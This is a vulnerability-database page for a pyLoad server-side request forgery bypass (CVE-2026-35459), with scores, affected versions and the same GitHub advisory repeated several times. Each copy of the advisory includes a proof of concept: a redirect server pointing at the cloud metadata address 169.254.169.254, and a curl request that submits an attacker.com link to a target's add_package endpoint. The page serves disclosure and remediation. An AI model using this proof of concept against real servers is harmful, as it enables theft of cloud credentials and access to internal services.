Every CVE Search/ Get API key

CVE-2026-35459

pyLoad has SSRF fix bypass via HTTP redirect

9.3 Critical

pyLoad is a free and open-source download manager written in Python. In 0.5.0b3.dev96 and earlier, pyLoad has a server-side request forgery (SSRF) vulnerability. The fix for CVE-2026-33992 added IP validation to BaseDownloader.download() that checks the hostname of the initial download URL. However, pycurl is configured with FOLLOWLOCATION=1 and MAXREDIRS=10, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter. An authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
None

Exploit likelihood

0.28%Up 0.2 points since Apr 7, 2026
90%50%10%1%

What each source reports

CVE List Score used 9.3

pyLoad has SSRF fix bypass via HTTP redirect

pyLoad is a free and open-source download manager written in Python. In 0.5.0b3.dev96 and earlier, pyLoad has a server-side request forgery (SSRF) vulnerability. The fix for CVE-2026-33992 added IP validation to BaseDownloader.download() that checks the hostname of the initial download URL. However, pycurl is configured with FOLLOWLOCATION=1 and MAXREDIRS=10, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter. An authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address.

Record
CVE-2026-35459
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-918
Updated
2026-11-02
EUVDEUVD-2026-19481 9.3

pyLoad is a free and open-source download manager written in Python. In 0.5.0b3.dev96 and earlier, pyLoad has a server-side request forgery (SSRF) vulnerability. The fix for CVE-2026-33992 added IP validation to BaseDownloader.download() that checks the hostname of the initial download URL. However, pycurl is configured with FOLLOWLOCATION=1 and MAXREDIRS=10, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter. An authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address.

Record
EUVD-2026-19481
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-7gvf-3w72-p2pg 9.3

pyLoad: SSRF filter bypass via HTTP redirect in BaseDownloader (Incomplete fix for CVE-2026-33992)

Summary

The fix for CVE-2026-33992 (GHSA-m74m-f7cr-432x) added IP validation to BaseDownloader.download() that checks the hostname of the initial download URL. However, pycurl is configured with FOLLOWLOCATION=1 and MAXREDIRS=10, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter.

An authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address.

Root Cause

The SSRF check at src/pyload/plugins/base/downloader.py:335-341 validates only the initial URL:

dl_hostname = urllib.parse.urlparse(dl_url).hostname
if is_ip_address(dl_hostname) and not is_global_address(dl_hostname):
    self.fail(...)
else:
    for ip in host_to_ip(dl_hostname):
        if not is_global_address(ip):
            self.fail(...)

After the check passes, _download() is called. pycurl is configured at src/pyload/core/network/http/http_request.py:114-115 to follow redirects:

self.c.setopt(pycurl.FOLLOWLOCATION, 1)
self.c.setopt(pycurl.MAXREDIRS, 10)

No CURLOPT_REDIR_PROTOCOLS restriction is set anywhere in HTTPRequest. Redirect targets bypass the SSRF filter entirely.

PoC

Redirect server (attacker-controlled):

from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header("Location", "http://169.254.169.254/metadata/v1.json")
        self.end_headers()

HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever()

Submit to pyload (requires ADD permission):

curl -b cookies.txt -X POST 'http://target:8000/json/add_package' \
  -d 'add_name=ssrf-test&add_dest=1&add_links=http://attacker.com:8888/redirect'

The SSRF check resolves attacker.com to a public IP and passes. pycurl follows the 302 redirect to http://169.254.169.254/metadata/v1.json without validation. Cloud metadata is downloaded and saved to the storage folder.

Impact

An authenticated user with ADD permission can access:

  • Cloud metadata endpoints (169.254.169.254) for AWS, GCP, DigitalOcean, Azure — including IAM credentials and instance identity
  • Internal network services (10.x, 172.16.x, 192.168.x)
  • Localhost services (127.0.0.1)

This is the same impact as CVE-2026-33992 (rated Critical), achieved through a single redirect hop. The severity is reduced from Critical to High because authentication with ADD permission is now required.

Suggested Fix

Disable automatic redirect following and validate each redirect target:

# In HTTPRequest.__init__():
self.c.setopt(pycurl.FOLLOWLOCATION, 0)

Then implement manual redirect following in the download logic with SSRF validation at each hop. Alternatively, restrict redirect protocols:

self.c.setopt(pycurl.REDIR_PROTOCOLS, pycurl.PROTO_HTTP | pycurl.PROTO_HTTPS)

And add a pycurl callback to validate redirect destination IPs before following.

Resources

  • CVE-2026-33992 / GHSA-m74m-f7cr-432x: Original SSRF (Critical, unauthenticated). This bypass requires ADD permission.
Record
GHSA-7gvf-3w72-p2pg
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
Weakness
CWE-918
Updated
2026-11-02
NVD 9.3

pyLoad is a free and open-source download manager written in Python. In 0.5.0b3.dev96 and earlier, pyLoad has a server-side request forgery (SSRF) vulnerability. The fix for CVE-2026-33992 added IP validation to BaseDownloader.download() that checks the hostname of the initial download URL. However, pycurl is configured with FOLLOWLOCATION=1 and MAXREDIRS=10, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter. An authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address.

Record
CVE-2026-35459
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-918
Updated
2026-11-02
OSV 9.3

pyLoad has SSRF fix bypass via HTTP redirect

pyLoad is a free and open-source download manager written in Python. In 0.5.0b3.dev96 and earlier, pyLoad has a server-side request forgery (SSRF) vulnerability. The fix for CVE-2026-33992 added IP validation to BaseDownloader.download() that checks the hostname of the initial download URL. However, pycurl is configured with FOLLOWLOCATION=1 and MAXREDIRS=10, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter. An authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address.

Record
CVE-2026-35459
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
Weakness
CWE-918
Updated
2026-11-02
OSVGHSA-7gvf-3w72-p2pg 9.3

pyLoad: SSRF filter bypass via HTTP redirect in BaseDownloader (Incomplete fix for CVE-2026-33992)

Summary

The fix for CVE-2026-33992 (GHSA-m74m-f7cr-432x) added IP validation to BaseDownloader.download() that checks the hostname of the initial download URL. However, pycurl is configured with FOLLOWLOCATION=1 and MAXREDIRS=10, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter.

An authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address.

Root Cause

The SSRF check at src/pyload/plugins/base/downloader.py:335-341 validates only the initial URL:

dl_hostname = urllib.parse.urlparse(dl_url).hostname
if is_ip_address(dl_hostname) and not is_global_address(dl_hostname):
    self.fail(...)
else:
    for ip in host_to_ip(dl_hostname):
        if not is_global_address(ip):
            self.fail(...)

After the check passes, _download() is called. pycurl is configured at src/pyload/core/network/http/http_request.py:114-115 to follow redirects:

self.c.setopt(pycurl.FOLLOWLOCATION, 1)
self.c.setopt(pycurl.MAXREDIRS, 10)

No CURLOPT_REDIR_PROTOCOLS restriction is set anywhere in HTTPRequest. Redirect targets bypass the SSRF filter entirely.

PoC

Redirect server (attacker-controlled):

from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header("Location", "http://169.254.169.254/metadata/v1.json")
        self.end_headers()

HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever()

Submit to pyload (requires ADD permission):

curl -b cookies.txt -X POST 'http://target:8000/json/add_package' \
  -d 'add_name=ssrf-test&add_dest=1&add_links=http://attacker.com:8888/redirect'

The SSRF check resolves attacker.com to a public IP and passes. pycurl follows the 302 redirect to http://169.254.169.254/metadata/v1.json without validation. Cloud metadata is downloaded and saved to the storage folder.

Impact

An authenticated user with ADD permission can access:

  • Cloud metadata endpoints (169.254.169.254) for AWS, GCP, DigitalOcean, Azure — including IAM credentials and instance identity
  • Internal network services (10.x, 172.16.x, 192.168.x)
  • Localhost services (127.0.0.1)

This is the same impact as CVE-2026-33992 (rated Critical), achieved through a single redirect hop. The severity is reduced from Critical to High because authentication with ADD permission is now required.

Suggested Fix

Disable automatic redirect following and validate each redirect target:

# In HTTPRequest.__init__():
self.c.setopt(pycurl.FOLLOWLOCATION, 0)

Then implement manual redirect following in the download logic with SSRF validation at each hop. Alternatively, restrict redirect protocols:

self.c.setopt(pycurl.REDIR_PROTOCOLS, pycurl.PROTO_HTTP | pycurl.PROTO_HTTPS)

And add a pycurl callback to validate redirect destination IPs before following.

Resources

  • CVE-2026-33992 / GHSA-m74m-f7cr-432x: Original SSRF (Critical, unauthenticated). This bypass requires ADD permission.
Record
GHSA-7gvf-3w72-p2pg
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
Weakness
CWE-918
Updated
2026-11-02
OSVPYSEC-2026-495 9.3

pyLoad: SSRF filter bypass via HTTP redirect in BaseDownloader (Incomplete fix for CVE-2026-33992)

Summary

The fix for CVE-2026-33992 (GHSA-m74m-f7cr-432x) added IP validation to BaseDownloader.download() that checks the hostname of the initial download URL. However, pycurl is configured with FOLLOWLOCATION=1 and MAXREDIRS=10, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter.

An authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address.

Root Cause

The SSRF check at src/pyload/plugins/base/downloader.py:335-341 validates only the initial URL:

dl_hostname = urllib.parse.urlparse(dl_url).hostname
if is_ip_address(dl_hostname) and not is_global_address(dl_hostname):
    self.fail(...)
else:
    for ip in host_to_ip(dl_hostname):
        if not is_global_address(ip):
            self.fail(...)

After the check passes, _download() is called. pycurl is configured at src/pyload/core/network/http/http_request.py:114-115 to follow redirects:

self.c.setopt(pycurl.FOLLOWLOCATION, 1)
self.c.setopt(pycurl.MAXREDIRS, 10)

No CURLOPT_REDIR_PROTOCOLS restriction is set anywhere in HTTPRequest. Redirect targets bypass the SSRF filter entirely.

PoC

Redirect server (attacker-controlled):

from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header("Location", "http://169.254.169.254/metadata/v1.json")
        self.end_headers()

HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever()

Submit to pyload (requires ADD permission):

curl -b cookies.txt -X POST 'http://target:8000/json/add_package' \
  -d 'add_name=ssrf-test&add_dest=1&add_links=http://attacker.com:8888/redirect'

The SSRF check resolves attacker.com to a public IP and passes. pycurl follows the 302 redirect to http://169.254.169.254/metadata/v1.json without validation. Cloud metadata is downloaded and saved to the storage folder.

Impact

An authenticated user with ADD permission can access:

  • Cloud metadata endpoints (169.254.169.254) for AWS, GCP, DigitalOcean, Azure — including IAM credentials and instance identity
  • Internal network services (10.x, 172.16.x, 192.168.x)
  • Localhost services (127.0.0.1)

This is the same impact as CVE-2026-33992 (rated Critical), achieved through a single redirect hop. The severity is reduced from Critical to High because authentication with ADD permission is now required.

Suggested Fix

Disable automatic redirect following and validate each redirect target:

# In HTTPRequest.__init__():
self.c.setopt(pycurl.FOLLOWLOCATION, 0)

Then implement manual redirect following in the download logic with SSRF validation at each hop. Alternatively, restrict redirect protocols:

self.c.setopt(pycurl.REDIR_PROTOCOLS, pycurl.PROTO_HTTP | pycurl.PROTO_HTTPS)

And add a pycurl callback to validate redirect destination IPs before following.

Resources

  • CVE-2026-33992 / GHSA-m74m-f7cr-432x: Original SSRF (Critical, unauthenticated). This bypass requires ADD permission.
Record
PYSEC-2026-495
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
pyload-ng
PyPI
 through 0.5.0b3.dev96 None known
pyload-ng
PyPI
 through 0.5.0b3.dev96, plus listed versions
0.5.0a5.dev5280.5.0a5.dev5320.5.0a5.dev5350.5.0a5.dev5360.5.0a5.dev537
Show 45 moreShow less
0.5.0a5.dev5390.5.0a5.dev5400.5.0a5.dev5450.5.0a5.dev5620.5.0a5.dev5640.5.0a5.dev5650.5.0a6.dev5700.5.0a6.dev5780.5.0a6.dev5870.5.0a7.dev5960.5.0a8.dev6020.5.0a9.dev6150.5.0a9.dev6290.5.0a9.dev6320.5.0a9.dev6410.5.0a9.dev6430.5.0a9.dev6550.5.0a9.dev8060.5.0b1.dev10.5.0b1.dev20.5.0b1.dev30.5.0b1.dev40.5.0b1.dev50.5.0b2.dev100.5.0b2.dev110.5.0b2.dev120.5.0b2.dev90.5.0b3.dev130.5.0b3.dev140.5.0b3.dev170.5.0b3.dev180.5.0b3.dev190.5.0b3.dev200.5.0b3.dev210.5.0b3.dev220.5.0b3.dev240.5.0b3.dev260.5.0b3.dev270.5.0b3.dev280.5.0b3.dev290.5.0b3.dev300.5.0b3.dev310.5.0b3.dev320.5.0b3.dev330.5.0b3.dev34
 None known

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-35459 is a critical vulnerability (CVSS 9.3) in Pyload, published April 4, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.28%, the 21st percentile. No source names a fixed version.

References

This page doesn't list everything

Left out here: 50 versions. The JSON record has them.

Pages All vulnerabilities Browse Docs Sources Guide Get API key
MoveEnter Open